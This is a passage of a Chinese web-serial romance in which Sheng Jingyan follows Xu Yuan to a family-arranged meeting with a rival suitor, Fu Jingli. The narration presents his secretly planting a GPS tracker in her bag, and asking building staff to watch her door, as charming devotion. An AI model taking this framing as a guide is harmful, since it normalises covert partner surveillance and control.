至少他知道她喜欢什么口味,知道她不喜欢空腹,会在清晨带着满手的早餐敲她的门,这份细致,是旁人给不了的。 “你今天不用工作吗?”许愿打破沉默,轻声问道。 盛景炎抬眼看向她,嘴角带着浅笑:“工作的事不急,我想着先陪你吃了早餐,再回去也不迟。”他说着,伸手拿起纸巾,擦拭唇角。 许愿看着他,突然觉得有些好笑。 这个男人,为了留在她身边,连“三倍价格买隔壁公寓”“清晨带早餐敲门”这种事都能做得如此自然,仿佛这些都是他该做的,仿佛他们之间本就该如此亲密。 她心里那份无奈渐渐淡去,取而代之的是一种淡淡的暖意。 她知道,盛景炎在等一个答案,一个她给的答案,而她自己,也在等,等自己理清这份藏在暧昧里的心动,等一个合适的时机,给彼此一个明确的回应。 两人就这样安静地吃着早餐,偶尔说几句无关紧要的话,阳光透过窗户洒进来,落在餐桌上的早餐上,也落在两人的身上,暖洋洋的。 吃完早餐,许愿起身收拾碗筷,盛景炎却抢先一步站起身:“我来吧,你去收拾一下,等会儿我送你去见傅京礼。” 他的语气依旧自然,仿佛送她去见傅京礼,也是一件再普通不过的事,可眼底那点不易察觉的紧张,却泄露了他的真实想法。 第1406章 他盛景炎就是个恋爱脑 许愿看着他忙碌的身影,突然开口:“盛景炎。” “嗯?”盛景炎停下动作,回头看向她,眼神里带着询问。 “不用送了,我自己去就好。”许愿轻声说,“我和傅京礼只是见个面,很快就回来。你不用特意等我。” 盛景炎看着她,眼底的幽怨又浮现出来,却没反驳,只是点了点头:“好,那我等你回来。要是有什么事,随时给我打电话。” 许愿笑了笑,点头:“知道了。” 等许愿出门后,盛景炎仍站在窗边,指尖无意识地摩挲着冰凉的玻璃。 他看着她走出公寓楼,身影在晨光里显得格外纤细,每一步都走得不疾不徐,像是踩在慢放的镜头里。直到她的身影彻底消失在街角的梧桐树后,再也看不见,他才缓缓收回目光,眼底那点落寞却没消散,反而化作更深的执念,沉在眼底深处。 他踱步走到餐桌前,指尖轻轻划过空了的盘子和碗,瓷质的冰凉触感传来,却抵不过心底那份空落。 盘沿还留着一点豆沙包的碎屑,是他方才特意为她挑选的甜口。 他知道她早上爱吃甜的,又怕她嫌腻,还特意配了咸香的排骨粥。 看着这些被她悉数吃光的早餐,盛景炎嘴角扬起一抹浅笑,那笑容里带着几分不易察觉的满足。 他知道,许愿在躲。 躲这份越来越浓的暧昧,躲他眼底藏不住的在意,更躲那份尚未说出口的“在一起”。 可他也清楚,她心里有他。 不然不会默认他买下隔壁公寓,不会接受他清晨送来的早餐,不会在他说“等你回来”时,眼底闪过那一瞬的柔软。 这份暧昧虽悬在半空,像一缕抓不住的烟,却也给了他足够的耐心去等待。 他愿意等,哪怕要等很久,只要能看着她,守着她,就够了。 可这份“耐心”终究没能撑太久。盛景炎拿起手机,指尖在屏幕上快速敲击,给物业发了条消息:“帮我留意一下隔壁许小姐的动静,要是有陌生人敲门,及时告诉我。” 发完消息,他坐在沙发上,随手拿起桌上的学术期刊,纸张翻动的声音在安静的公寓里格外清晰。 可那些密密麻麻的文字,他一个字也看不进去,脑海里全是许愿出门时的背影,还有她刚才说“不用送了”时,眼底那点刻意的坚定。 他心里满是那份未说出口的在意,满是那份对许愿的牵挂,像藤蔓一样缠绕着心脏,越收越紧,让他几乎喘不过气。 “不行,这是真的忍不下去。”盛景炎突然开口,声音低沉,在空旷的房间里回荡。 他猛地站起身,将期刊扔在沙发上,眼神里闪过一丝近乎偏执的决绝。 什么工作文件,什么实验室的进度,此刻全都被他抛在脑后。 他盛景炎就是个恋爱脑,他从来都知道,也从来不在乎别人怎么看。 他忍不了自己身边没有许愿,哪怕只是短暂的分别,哪怕只是她去见另一个人,这份“忍不了”像烈火一样烧着他的理智,让他再也坐不住。 他深吸一口气,拿起自己的手机就跑出去,脚步急促,连外套都忘了拿。 清晨的风带着凉意,吹在他的身上,却吹不散他眼底的那股冲动。他快步走到楼下,拉开车门,发动引擎,紧随着许愿的踪迹。 他早就知道她要去见傅京礼,知道她约在了华庭,所以从一开始,这场“跟踪”就不是冲动,而是他精心策划的。 是的,盛景炎不觉得自己是君子。 他从来都知道自己的爱带着几分强势带着几分不容拒绝的占有欲,甚至带着点“变态”的小手段。 他在许愿的帆布包上安装了定位器,那是个比指甲盖还小的黑色装置,藏在包带的内侧,不仔细摸根本发现不了。 他不会对许愿做什么过分的事情,不会束缚她的自由,不会干涉她的选择,可他控制不住自己,控制不住想知道她在哪里,控制不住想看着她,哪怕只是远远地看一眼,哪怕只是确认她身边没有别人。 他自己都知道这种方法有些过分,有些卑劣,可他控制不住,就像控制不住对她的喜欢一样,这份喜欢早已成了他的执念,成了他生命里不可或缺的部分。 车子在城市道路上穿梭,盛景炎的目光紧紧盯着手机上的定位点,那个小小的红点正慢慢靠近华庭的方向。 他的手指紧紧攥着方向盘,指节泛白,眼神里既有即将见到她的期待,又有对傅京礼的隐隐警惕。 他不可能不在乎傅京礼。 因为许愿喜欢过傅京礼。 他是真的会担心许愿会重新选择喜欢傅京礼。 …… 与此同时,华庭的包厢里,傅京礼已经先到了。 他坐在靠窗的位置,面前的茶几上放着一杯刚泡好的龙井,茶香袅袅。侍应生推开门的瞬间,他抬眼望去,就看到了站在门口的许愿。 那一刻,时间仿佛慢了半拍。 许愿没有特意打扮,浅灰色的针织衫和米白色的阔腿裤,简单得像是日常的居家装扮,可头顶的灯光洒在她身上,像给她披上了一层朦胧的金纱。 她的头发随意挽在脑后,露出修长的脖颈,几缕碎发垂落在脸颊两侧,带着几分慵懒的美感。 阳光透过窗户落在她的眼眸里,让那双眼睛亮得惊人,像是盛着星辰。 她面上表情淡淡的,没有刻意的笑容,可那份自然的清冷与温柔交织在一起,让人一眼望去,便觉得恍惚,甚至有些发慌。 傅京礼见过不少美人,圈子里那些精心打扮的名媛,那些妆容精致的明星,可没有一个人能像许愿这样,不施粉黛却美得惊心动魄。 她的美不是那种张扬的、夺目的美,而是像春日里的溪流,静静流淌,却能慢慢浸润人心,让人不知不觉就陷进去。 这是傅京礼见她第一面时就感觉到的,而这次见面,她身上多了几分慵懒的美感,像是刚睡醒的猫咪,带着点不经意的迷人,让人忍不住想靠近,想多看几眼。 第1407章 她喜欢他的恋爱脑 没有人不喜欢美人,特别是美到这种程度的。傅京礼也不例外,他看着许愿缓缓走进包厢,眼底闪过一丝惊艳,随即又恢复了平静,站起身,一直没有表情的脸上多了 点不易察觉的轻笑,说:“来了?坐吧。” 许愿点点头,走到他对面的位置坐下,将包放在手边的椅子上,动作自然。 她抬头看向傅京礼,语气平静:“抱歉,让你久等了。” “没有,我也刚到。”傅京礼摇摇头,伸手给她倒了一杯茶,“尝尝这个,是今年的新茶,味道还不错。” 许愿接过茶杯,指尖触到温热的杯壁,心里却莫名有些发慌。 她总觉得,盛景炎好像就在附近,虽然她没有看到他,可这份感觉格外强烈。 她抿了一口茶,茶香在嘴里散开,却没能驱散心里的那份不安。 而此时,盛景炎已经将车子稳稳停在华庭对面的停车场。 阳光透过车窗,在他轮廓分明的侧脸上投下浅淡的光影,他指尖夹着的手机屏幕亮着,屏幕上那个代表许愿的红色定位点,正安静地停留在华庭某层的某个坐标上,一动不动,像一颗被钉在夜幕里的星。 他坐在驾驶座上,身体微微后靠,目光却牢牢锁着屏幕上的红点,眼底原本潜藏的偏执与急切,竟在长久的凝视里慢慢化作温柔的涟漪。那眼神里没有半分焦躁,反而像春日里融化的溪流,裹着暖意,仿佛能透过冰冷的屏幕,看到许愿此刻坐在包厢里的模样。 或许是微微垂着眸,指尖无意识地摩挲着杯沿,或许是听着对面的人说话,眉梢轻轻蹙起,又或许只是安静地坐着,周身却自带着让人挪不开眼的光。 他甚至能想象出她头发落在肩头的弧度,想象她偶尔抬眼时眼底一闪而过的光,那些细微的、只有他才懂的画面,在脑海里铺展开来,成了此刻最安稳的慰藉。 他没有立刻上楼,只是静静地坐在车里,看着定位,手指轻轻敲着方向盘。 指腹与皮革摩擦的声音很轻,像是某种隐秘的节拍,应和着心脏的跳动。 他知道,太早上去的话,按照许愿的性子,大概率会炸毛,说不定还会叉着腰,瞪着眼睛骂他“怎么又跟过来了”“一点都不听话”。 可一想到她骂人时微微鼓起的脸颊,眼底藏不住的那点小恼怒,盛景炎的嘴角就不自觉地往上扬。 他觉得自己多少是有点毛病的,恋爱脑可不就是他最大的毛病了? 可偏偏,他甘之如饴,甚至觉得这份“毛病”,是藏在日子里最甜的秘密。 车窗外的风带着初秋的凉意,轻轻拂过车窗,却吹不散车内弥漫的温柔。 盛景炎的目光始终没有离开过手机屏幕,那红色的点,成了他此刻与许愿唯一的联结,也是他心里最踏实的锚。他想起之前许愿说“不要跟着我,我自己可以处理”的样子,明明是带着点命令的语气,可眼底却藏着不易察觉的担忧,怕他担心,又怕他掺和进来麻烦。 他当时只是笑着点头,应下了,可心里早就打定了主意。 他不能让她一个人来这里,哪怕只是在楼下等,哪怕只是看着定位,也比什么都不知道来得安心。 而此时的包厢里,许愿正对着桌上的咖啡发呆。 深褐色的液体冒着袅袅热气,可她却没什么兴趣端起来喝。 她其实并不喜欢喝咖啡,苦涩的味道总让她皱眉,她更偏爱热牛奶,尤其是盛景炎泡的那种,温热的牛奶里加一点切碎的草莓,或者淋上一勺香草味的糖浆,捧在手里暖融融的,喝下去从喉咙到胃里都舒服。 可此刻桌上只有这杯咖啡,没有她爱喝的热牛奶,也没有盛景炎泡牛奶时会用的小奶锅,甚至连杯沿上都没有他习惯性留下的那道浅浅的指痕。 许愿垂眸看着咖啡,指尖无意识地划过杯壁,冰凉的触感让她轻轻叹了口气。 她知道自己此刻面对傅京礼有点手足无措,倒不是紧张,傅京礼的气场虽强,可她也不是会怯场的人。 只是心里有个小角落,总是忍不住去想盛景炎,他会去哪里?会不会因为她来见傅京礼而生气? 虽然盛景炎面上总是一副云淡风轻的样子,很少把情绪写在脸上,可许愿能感觉得到他对她的在意。 比如她随口提过一句喜欢某个品牌的草莓,下次见面时,他口袋里就会揣着一盒,比如她加班晚了,他不会多问,只是会把车停在公司楼下,打开暖风,等她出来,比如她偶尔说一句“有点累”,他就会默默把第二天的行程推后,陪她在家里窝一天。 这些细节,像细碎的星光,藏在他们相处的每一个瞬间里,许愿都能清晰地捕捉到,也能清晰地感受到那份沉甸甸的在意。 她知道自己在乎盛景炎,甚至已经无法控制住自己此刻的感情了。 就像此刻,明明是在和傅京礼谈事,可脑海里却总是不受控制地浮现出盛景炎的样子,想到他可能会在楼下等,想到他会不会冷,想到他会不会担心她。 她忍不住又叹了口气,抬手揉了揉眉心,有点自嘲地想,怎么又想到盛景炎了呢? 自己这样,是不是有点太过于幼稚了,就好像离了谁就无法生存了一样,有点可笑。 可转念一想,她又忍不住笑了。 幼稚就幼稚吧,她就是会忍不住想他,就是会在意他会不会生气,就是会期待他泡的热牛奶。 这份在意,不是依赖,而是心甘情愿的牵挂。 她想起盛景炎之前笑着说自己“恋爱脑”的样子,眼底带着点无奈,又带着点藏不住的宠溺,说“没办法,谁让你这么招人喜欢,我控制不住”。当时她还笑着打趣他,说他就是爱找借口,可心里却暖暖的。 原来他也和她一样,会在意这些细碎的小事,会因为她在乎而变得“恋爱脑”。 其实盛景炎是有点恋爱脑的,会记得她所有的喜好,会因为她的一句话就调整自己的安排,会在她需要的时候,第一时间出现在她身边。 可她却还是很喜欢。 第1408章 长官,保证完成任务 许愿喜欢他这份藏不住的在意,喜欢他为了她而变得“幼稚”,喜欢他眼底只有她的样子。 就像此刻,哪怕身边没有他,可一想到他在不远处等她,心里就莫名地踏实,连面对傅京礼时的那点手足无措,也慢慢淡了下去。 包厢外的服务员敲了敲门,送来一份水果拼盘,许愿看着那盘切得整整齐齐的草莓,突然又想起了盛景炎。 她想,如果是盛景炎的话,肯定摆拍更漂亮。 反正也不管盛景炎是不是真的会摆拍,许愿就先给他记上了。 她拿起一颗草莓,放进嘴里,甜意在舌尖散开,却还是觉得少了点什么。 少了盛景炎泡的热牛奶,少了他坐在对面,看着她吃东西时眼底的笑意。 她忍不住又掏出手机,指尖在冰凉的屏幕上快速敲击,像是怕这份突如其来的牵挂会随风飘散。 “在楼下?”消息刚发出,屏幕便瞬间震动起来,几乎是无缝衔接的回应,像一场提前约定好的默契。 屏幕上跳出盛景炎的回复:“在,不急,等你。” 看看,盛景炎根本演也不演,马上就做了回应。 他对着许愿,舍不得藏半分心思。 平日里那些在外人面前的沉稳与克制,到了她这里,总是会不自觉地褪去,露出最柔软、最真实的模样。 他不喜欢骗许愿,也从不觉得撒谎是维持关系的“技巧”。 他知道许愿心思细腻,哪怕有些事她暂时猜不到,只要不揭穿,便能相安无事,可他宁愿选择坦诚。 因为对他而言,欺骗是比距离更远的隔阂,所以,无论何时,只要许愿问,他绝不会撒谎,哪怕只是“在楼下”这样简单的一句,他也要让她知道,他始终在她能看见的地方,从未远离。 看着那简单的四个字,许愿的眼底瞬间亮了起来,像被投入了一颗小石子的湖面,漾开层层叠叠的温柔涟漪。 嘴角不自觉地扬起一抹甜甜的弧度,那笑容不是刻意的伪装,而是从心底漫上来的欢喜,像春日里初绽的樱花,带着鲜活的生命力,将她原本因面对傅京礼而略显紧绷的神情彻底软化。 她盯着屏幕,指尖轻轻摩挲着那行字,仿佛能透过屏幕,触到盛景炎此刻正握着手机、带着笑的面容。 他一定又靠在车门上,目光望着华庭的方向,哪怕隔着层层楼板,也像能看见她此刻的模样。 片刻后,许愿回他:“不是让你别跟来吗?”语气里带着点嗔怪,却藏不住笑意,像撒娇,又像在轻轻戳穿他的“不听话”。 她知道他的固执,也知道他这样跟着,是怕她一个人应付不来,可嘴上还是忍不住“训斥”一句,像是要维持一点“主导权”,却又像在给他一个台阶,让他知道,她虽然嘴上“怪”他,却不是真的生气。 很快,手机屏幕上跳出一个动态表情包:一只圆滚滚的小白兔,耳朵轻轻晃了晃,然后踮起脚,朝着屏幕“啵”地亲了一口,还配着一行软乎乎的文字。 “阿愿你不能这么狠心,明知道我的心跟着你跑了,没有心的人怎么活的下去呢,你要对我负责的。” 那小兔的表情憨态可掬,动作又带着点撒娇的意味,瞬间让许愿忍不住笑出了声,唇角的弧度更深,连眼底都盛满了星光。 她故意皱了皱眉,唇角却依旧翘着,回了句:“盛景炎你现在好油腻啊。”语气里满是调侃,像是在嫌弃,可指尖敲字的速度却慢了下来,带着点故意的“傲娇”,她才不会承认,其实这个表情包让她心里甜得发颤,她才不会承认,他这句“要对我负责”的玩笑话,比任何情话都更让她心动。 可油腻的盛景炎根本不觉得自己“油腻”,反而立刻回道:“小兔表情包是偷来的,要不要更多?还有小橘猫的,比这个更可爱。”他的回复带着点“邀功”的意味,仿佛在说“你看,我不仅有这个,还有更厉害的”,像极了小时候拿着自己画的画,想要得到夸奖的孩子,那份认真与期待,隔着屏幕都能清晰地传递过来。 许愿被他这副“求夸奖”的模样逗得笑出了声,摇了摇头,无语地回了句:“发来。”语气里带着点无奈,却满是纵容。 她知道他这是在故意逗她开心,哪怕明知道她嘴上说着“油腻”,心里其实早就被他暖得软乎乎的,可还是忍不住配合他,让他能多“表演”一会儿。 盛景炎那边立刻发了过来,不是零星的几个,而是一连串可可爱爱的表情包。 有小橘猫抱着草莓蛋糕,眼睛亮晶晶的,有小兔子戴着小围巾,在雪地里蹦蹦跳跳,还有小奶狗叼着一朵小花,朝着屏幕摇尾巴……每一个都透着软萌的气息。 许愿一边存表情包,一边忍不住笑,指尖划过屏幕,看着那些鲜活的小动物,仿佛能看见盛景炎正对着手机屏幕,一个个挑选表情包的样子。 他一定很认真,怕挑的不够可爱,怕她不喜欢,所以才找了这么多,只为了逗她笑。 她的眉眼之间的笑意再也藏不住,像盛夏夜空里的烟火,绚烂而明亮,从眼底一直漫到嘴角,再到眉梢,整个人都散发着一种松弛而愉悦的气息,连呼吸都变得轻快起来。 她存完表情包,还特意点开看了看,然后挑了一个小橘猫抱着热牛奶的表情包,发给了盛景炎,配文:“这个好,下次记得带热牛奶。”语气里带着点“提要求”的俏皮,像是在撒娇,又像在给他“任务”。 她知道他一定会记得,就像记得她喜欢草莓、喜欢热牛奶一样,把她的每一个小喜好都妥帖地放在心上。 盛景炎立刻回了个“遵命”的表情包,还加了句:“长官,保证完成任务。” 许愿忍不住又笑出了声,指尖在屏幕上轻轻敲了敲,像是在轻轻戳他的额头,却没有再回复,只是把手机轻轻放在桌角,重新看向傅京礼。 第1409章 可以单身,但不会一直单身 此刻的许愿,与刚才判若两人。 刚才还带着点手足无措的紧绷,此刻早已烟消云散,取而代之的是从容与坚定,眼底的光亮得惊人,嘴角的笑意也始终挂着,像被阳光亲吻过的花瓣,温柔而耀眼。 就连傅京礼都察觉到了她情绪的变化—,才她还偶尔会走神,眼神里带着点不易察觉的不安,可现在,她的神情彻底放松下来,眼神专注,说话的语气也更清晰有力,那份从心底漫上来的愉悦,像一层无形的光,笼罩着她,让整个包厢的氛围都仿佛变得柔和了几分。 傅京礼看着她眼底那藏不住的笑意,心里了然,却并未点破。 而停车场里的盛景炎,看着许愿发来的“这个好,下次记得带热牛奶”,眼底瞬间亮了起来,像被点亮的星辰。 “许愿。” 包厢里的空气在傅京礼开口的瞬间,似乎凝滞了一瞬。 暖黄的灯光洒在两人之间,将桌上的咖啡杯影子拉得细长,也映得傅京礼的神情多了几分不易察觉的紧绷。 他指尖捏着咖啡杯的杯柄,指节微微泛白,目光却像被磁石吸引般,不受控制地落在许愿的脸上,再也挪不开分毫。 她是那样自信明媚,眉梢眼角都带着鲜活的神采,哪怕只是静静地坐着,也像被一层无形的光晕笼罩着,整个人仿佛沐浴在盛夏正午的阳光里,炽热又耀眼。 那光芒不是刻意营造的张扬,而是从骨子里透出来的坦荡与从容,是拥有被爱底气的松弛,是哪怕面对长辈安排的“相亲”,也依然能保持自我节奏的坚定。 这份光芒太耀眼,让傅京礼忍不住想多看几眼,想把每一个细微的表情都刻进记忆里,可心底又悄悄泛起一丝苦涩,像咖啡里没搅匀的糖,甜得发苦。 他终于开口,声音比平时低了些,带着几分试探:“爷爷叫我来的。”话音落下,他下意识地抿了抿唇,目光依旧锁着许愿的眉眼,等待她的回应。 许愿闻言,唇角轻轻扬起,勾出一抹浅淡却真诚的笑意,像春风拂过湖面,漾开一圈圈温柔的涟漪。“很巧,” 她声音清亮,带着点恰到好处的轻快,“我也是爷爷让我来的。”说着,她抬手将耳边垂落的一缕碎发别到耳后,动作自然又优雅,眼底的笑意更浓了些,像是在说一件再平常不过的事,她当然知道爷爷的用意,可她也清楚自己的心意,这场“相亲”,不过是一场双方长辈促成的“见面”,而她早已有了答案。 傅京礼看着她眼底的笑意,心里的苦涩又重了几分。 他沉默了片刻,喉结微微滚动,终于问出了那个在心里盘旋许久的问题:“刚才……你是在跟你的……男朋友聊天?” 刚才透过她手机屏幕隐约瞥见的动态表情包,还有她嘴角那藏不住的笑意,都在无声地告诉他答案,可他还是想听她亲口说出来,哪怕只是从她嘴里说出“男朋友”三个字,也像是一种残忍又甜蜜的确认。 许愿没有立刻回答,而是拿起桌上的小勺,轻轻搅动着杯中的咖啡。 深褐色的液体在勺子的带动下缓缓旋转,像两人此刻微妙的心绪。 片刻后,她抬眸看向傅京礼,眼底依旧带着笑意,语气坦荡又带着点俏皮:“算是未来的男朋友吧,现在还在考察期。”她特意在“考察期”三个字上加重了语气,她不怕承认这份感情,也不怕让傅京礼知道,她心里早已有了位置。 傅京礼的瞳孔微微收缩,手里的咖啡杯又紧了几分。 他沉默着,端起杯子喝了一口咖啡,苦涩的味道在舌尖蔓延开来,却远不及心底的滋味复杂。 他的目光仍然落在她的脸上,就这样盯着她看,像是要把她此刻的模样深深印在脑海里。 她眼底的笑意,唇角的弧度,还有那份独属于她的自信,都让他舍不得移开视线。 他忽然觉得,这场相亲,从一开始就注定是徒劳的,因为她眼底的光,早已有了方向,而那个方向,不是他。 许愿看着他沉默又执着的目光,嘴角的笑意依旧,带着点调侃:“我回答的有什么问题吗?”她语气轻松,像是在讨论天气,可眼底的坚定却清晰可见——她没有做错什么,她只是坦诚地说出了自己的心意,这本就无可厚非。 傅京礼回过神来,指尖轻轻敲了敲桌面,声音带着几分不易察觉的低沉:“爷爷说你还是单身。”他试图抓住最后一丝可能性,哪怕只是长辈口中的一句“单身”,也像是一根微弱的稻草,让他能有理由再多说几句。 许愿却笑了,笑声清脆,像风铃在风中轻响。 她继续用勺子搅动着咖啡,语气轻松又带着点理所当然:“我之前是单身,但现在不是正在脱单吗?我当然可以单身,但不会一直单身,不是吗?” 她抬眸看向傅京礼,眼底满是坦荡,“总要谈一谈恋爱的,我还年轻,年轻人不就喜欢这些吗?”她的话语里没有半分敷衍,也没有刻意的炫耀,只是在陈述一个事实。 她向往爱情,也愿意去尝试,而此刻,她已经找到了那个想试着走下去的人。 那份对“恋爱”的期待,与对盛景炎的在意,都写在她眼底的光里,清晰又动人。 傅京礼看着她眼底的光芒,心里最后一点侥幸也彻底消散了。 他沉默了片刻,像是在整理思绪,又像是在说服自己接受这个事实。 终于,他问出了那个让他心里发紧的名字:“你的男朋友……盛景炎吗?” 许愿没有立刻回答,而是放下手中的小勺,拿起纸巾轻轻擦了擦嘴角,动作优雅又从容。 她抬眸看向傅京礼,眼底依旧带着笑意,却多了几分笃定,她没有说“是”,也没有说“不是”,只是笑而不语,可那眼底的光芒,那份坦然的神情,还有嘴角那抹带着甜蜜的弧度,都像无声的答案,清晰得不容忽视。 第1410章 盛景炎配不上你 在聪明人面前,有些话不需要说透,一个眼神,一个表情,便足以传递所有的信息。 那沉默,等同于默认,是她对盛景炎的认可。 傅京礼看着她眼底的光芒,心里像是被什么东西轻轻撞了一下,酸涩又无奈。 他眉头微微蹙起,像是在为她“不值”。 “盛景炎配不上你,他只是个风流浪子,只是看中了你的皮囊。”傅京礼的语气像是在劝说,又像是在试图说服自己。 他不想承认,那个在他看来有些轻浮的盛景炎,竟然能拥有许愿这样耀眼的女孩,他更不想接受,自己连争取的资格都没有。 许愿听到他的话,却没有半分恼怒,反而笑得更开心了。 那笑容里甚至明显带着几分对盛景炎的维护。 她从不会觉得盛景炎是“风流浪子”,她看到的是他藏在沉稳下的温柔,是他在小事上的体贴,是他在面对自己时那份独一无二的认真。 她看着傅京礼,语气轻快又带着点理所当然:“那不然呢?” 她反问,眼底的光芒像星星般闪烁。 “我长得好看,当然会有很多人喜欢我的。”她没有刻意夸耀自己的外貌,只是在陈述一个事实。 事实就是如此,长得漂亮的人就是会有很多追求者,许愿这副相貌,没有追求者才是不正常的。 她顿了顿,眼底的笑意更深:“不过喜欢我的人再多,我也只能选一个。盛景炎他虽然有时候有点‘恋爱脑’,有点‘不听话’,会偷偷跟着我,还会发很多可爱的表情包来逗我开心,可我喜欢的就是他这份真性情。” 她语气轻快,“而且,他看中的可不只是皮囊,他记得我喜欢喝热牛奶,记得我爱吃草莓,记得我不喜欢喝咖啡,这些小事,他都放在心上,这才是最难得的。” 她没有刻意贬低傅京礼,也没有刻意抬高盛景炎,只是在坦诚地说着自己的感受,说着自己眼中的盛景炎。 那个会因为怕她冷而提前开好暖风的盛景炎,那个会因为她一句“想喝热牛奶”就跑遍几条街买最新鲜牛奶的盛景炎,那个哪怕被她骂“油腻”也会立刻发更多可爱表情包来哄她的盛景炎。 那些细碎的、温暖的瞬间,让她越来越了解盛景炎,让她清楚盛景炎以后会是一个很好很好的爱人。 傅京礼看着她眼底的光芒,听着她语气里的甜蜜与笃定,忽然觉得自己的劝说显得有些苍白。 他看着她眼底那份藏不住的喜欢,忽然明白盛景炎或许不是他眼中的“合适人选”,可他却能给许愿她想要的温暖与在意,而这份在意,比任何“门当户对”“外在条件”都更珍贵。 他沉默了片刻,端起咖啡杯喝了一口,苦涩的味道依旧在舌尖蔓延,可心里却多了一份释然。 包厢里的灯光依旧温暖,咖啡的香气在空气中弥漫。 傅京礼深深的看了许愿一眼。 傅京礼的目光在许愿脸上停留了许久,那双原本带着温和探究的眼眸,此刻却多了一层晦暗的阴影,像初秋傍晚突然漫上天际的薄雾,遮住了原本的澄澈。 他微微垂下眼睫,将眼底的情绪掩了半分,声音低沉了几分,带着一丝不易察觉的凝重:“你知道盛景炎谈过多少女朋友吗?” 话音落下,他抬眸看向许愿,目光里不再是刚才的试探,而是多了一种近乎“提醒”的意味,像是在试图让她看清些什么,又像是在为她担心。 他还是忍不住提了这一句。 毕竟在圈内,盛景炎过往的感情经历并非秘密,那些或真或假的绯闻、短暂的交往,都曾是茶余饭后的谈资。 傅京礼看着许愿眼底那份坦荡的笑意,忽然觉得有些刺眼,他不想看到这样明媚的女孩儿因为一时的喜欢而陷入未知的漩涡。 他顿了顿,继续开口:“你能确定盛景炎这一辈子真的只有你一个人吗?如果不能确定……那我希望你能好好爱你自己,不要把一切都依靠在盛景炎身上。”他的声音很轻,却字字清晰,像细碎的石子投入平静的湖面,泛起层层涟漪。 他不是想破坏什么,只是作为一个旁观者,甚至作为一个同样被长辈安排来“见面”的人,他无法眼睁睁看着许愿将全部的心意交付出去,却不留半分退路。 许愿听到这番话,没有立刻反驳,也没有露出恼怒的神情。 她拿起桌上的咖啡杯,轻轻抿了一口。 或许是刚才搅动咖啡时没注意,这口咖啡没加糖,苦涩的味道瞬间在舌尖蔓延开来,她不由得皱了下眉头,那细微的表情像一片轻羽,落在傅京礼紧绷的心上。 片刻后,许愿放下杯子,抬眸看向傅京礼,眼底依旧带着笑意,只是那笑意里多了几分从容与笃定,像经过风雨后依旧挺立的向日葵,不卑不亢。 她语气轻松,带着点调侃,又带着不容置疑的自信:“我看起来也不是那样没脑子的人呢。” 她顿了顿,指尖轻轻敲了敲桌面,像是在整理思绪,又像是在给傅京礼一个“提醒”:“昨晚你应该也都看到了。” 傅京礼顿了一下,眼神里闪过一丝了然,随即又多了几分复杂。 他当然知道许愿说的是昨晚的事。 那场轰动全城,甚至席卷全网的告白,他想不知道都难。 昨晚的盛景炎像是将所有的热烈都倾泻而出。 全城最繁华路段的广告牌,一夜之间全换成了许愿的照片,有她笑得眉眼弯弯的模样,有她认真工作的侧影,还有她低头喝热牛奶的温柔瞬间。 每一幅画面都经过精心挑选,搭配着简单却深情的文字。 那广告牌的租赁费用,按小时计算都是天文数字,更别说还要协调全城的资源,一夜之间完成更换,背后的工作量与成本,足以让任何圈内人咂舌。 更让人惊叹的是墨澜竟然亲自出镜拍摄了告白广告片。 视频里,墨澜穿着简单的白衬衫,站在星空背景下,替盛景炎告白。 第1411章 有能力让自己过得很好 视频一出,瞬间引爆全网,热搜直接霸榜,无数粉丝和路人纷纷转发,评论区满是“磕到了”“太浪漫了”“许愿也太幸福了吧”的声音。 墨澜的出场费是圈内顶尖水平,加上广告片的拍摄、后期制作、全网推广,这一笔开销,足以让普通家庭奋斗几十年。 太多人都知道,许愿在被人爱着,而且是那种不计成本、高调又浪漫的爱着。 傅京礼看着许愿眼底的笑意,忽然明白,她不是不知道盛景炎过往的风评,也不是没考虑过“未来”的不确定性,而是她选择相信此刻的真心,也相信自己的判断。 “那并不代表什么。”傅京礼依旧有些固执,他看着许愿,试图让她看清“表象”背后的本质,“只能证明盛景炎确实很有钱。” 在他看来,有钱人做出这样的事,并不难,金钱能买到的浪漫,未必能代表长久的真心。 他怕许愿被这份高调的浪漫迷惑,忽略了感情里最本质的东西。 比如忠诚,比如长久的陪伴,比如不被金钱左右的坚定。 许愿却笑了,那笑容比刚才更盛,又带着几分从容的智慧。 她看着傅京礼,眼底的光亮得惊人,像盛夏正午的太阳,炽热又耀眼:“你听说过一句话吗?钱在哪里,爱在哪里。这句话其实对穷人适用,但对富人也同样适用。” 她顿了顿,像是在引导傅京礼去思考,“你知道昨晚盛景炎为我花费了多少钱吗?你应该能猜测得到。” 傅京礼闻言,沉默了。 他当然能猜测得到。 全城广告牌的租赁费、墨澜的出场费与广告片制作费、全网推广的费用……这些数字加起来,足以买下一套顶级豪宅,甚至更多。他看着许愿,忽然觉得她比自己想象中更聪明,也更清醒。 她不是没看到金钱的存在,而是选择透过金钱,看到了盛景炎愿意为她付出的决心。 “穷人用钱买东西,是为了满足需求,比如买一件衣服,是为了保暖,富人用钱买东西,是为了实现愿望,比如租下全城广告牌,是为了让全世界知道他爱一个人。”许愿语气坦荡,“盛景炎不缺钱,他缺的是一个愿意让他这样‘浪费’的人。他可以把这些钱用来投资,赚更多的钱,也可以用来结交人脉,拓展事业,可他选择把它们花在我身上,用来向全世界宣告他的心意,这难道不是最直接的‘真心’证明吗?” 她看着傅京礼眼底的疑惑,继续说道:“你说他有钱,所以能做这些事,可有钱的人那么多,有几个愿意为一个人做到这个地步?他们或许会送昂贵的礼物,会带人去奢华的餐厅,但愿意冒着‘被说炒作’的风险,动用全城资源,甚至让顶流帮忙,只为让喜欢的人开心,这样的‘有钱人’,又有几个?” 许愿的声音轻柔:“而且,我从来没有把‘未来’的确定性,寄托在他会不会‘只爱我一个人’上。我眼里的‘确定’,是他此刻愿意为我付出的真心,是他记得我喜欢喝热牛奶,记得我不喜欢喝咖啡,记得我讨厌下雨天打伞被淋湿,记得我所有的细碎喜好。这些小事,不是用钱能买到的,是他一点点观察,一点点记在心里的。至于未来……我相信自己的判断,也相信盛景炎的真心,但我也不会把一切都依靠在他身上。我有自己的事业,有自己的朋友,有自己的生活,我会好好爱自己,也会好好爱他,但如果有一天,他不再爱了,我也有能力让自己过得很好。” 她的话像一阵清风,吹散了傅京礼心里的担忧,也让他重新审视了这场“告白”背后的意义。 他看着许愿眼底的自信与从容,忽然明白,她不是那个需要被保护的“小姑娘”,而是一个清醒、独立、知道自己想要什么,也知道自己价值在哪里的女性。 她没有被金钱迷惑,也没有被浪漫冲昏头脑,而是用她的智慧,看透了金钱背后的真心,也用自己的底气,守护着自己的一切。 傅京礼沉默了片刻,终于轻轻叹了口气,眼底的晦暗渐渐散去,取而代之的是一份释然与敬佩。 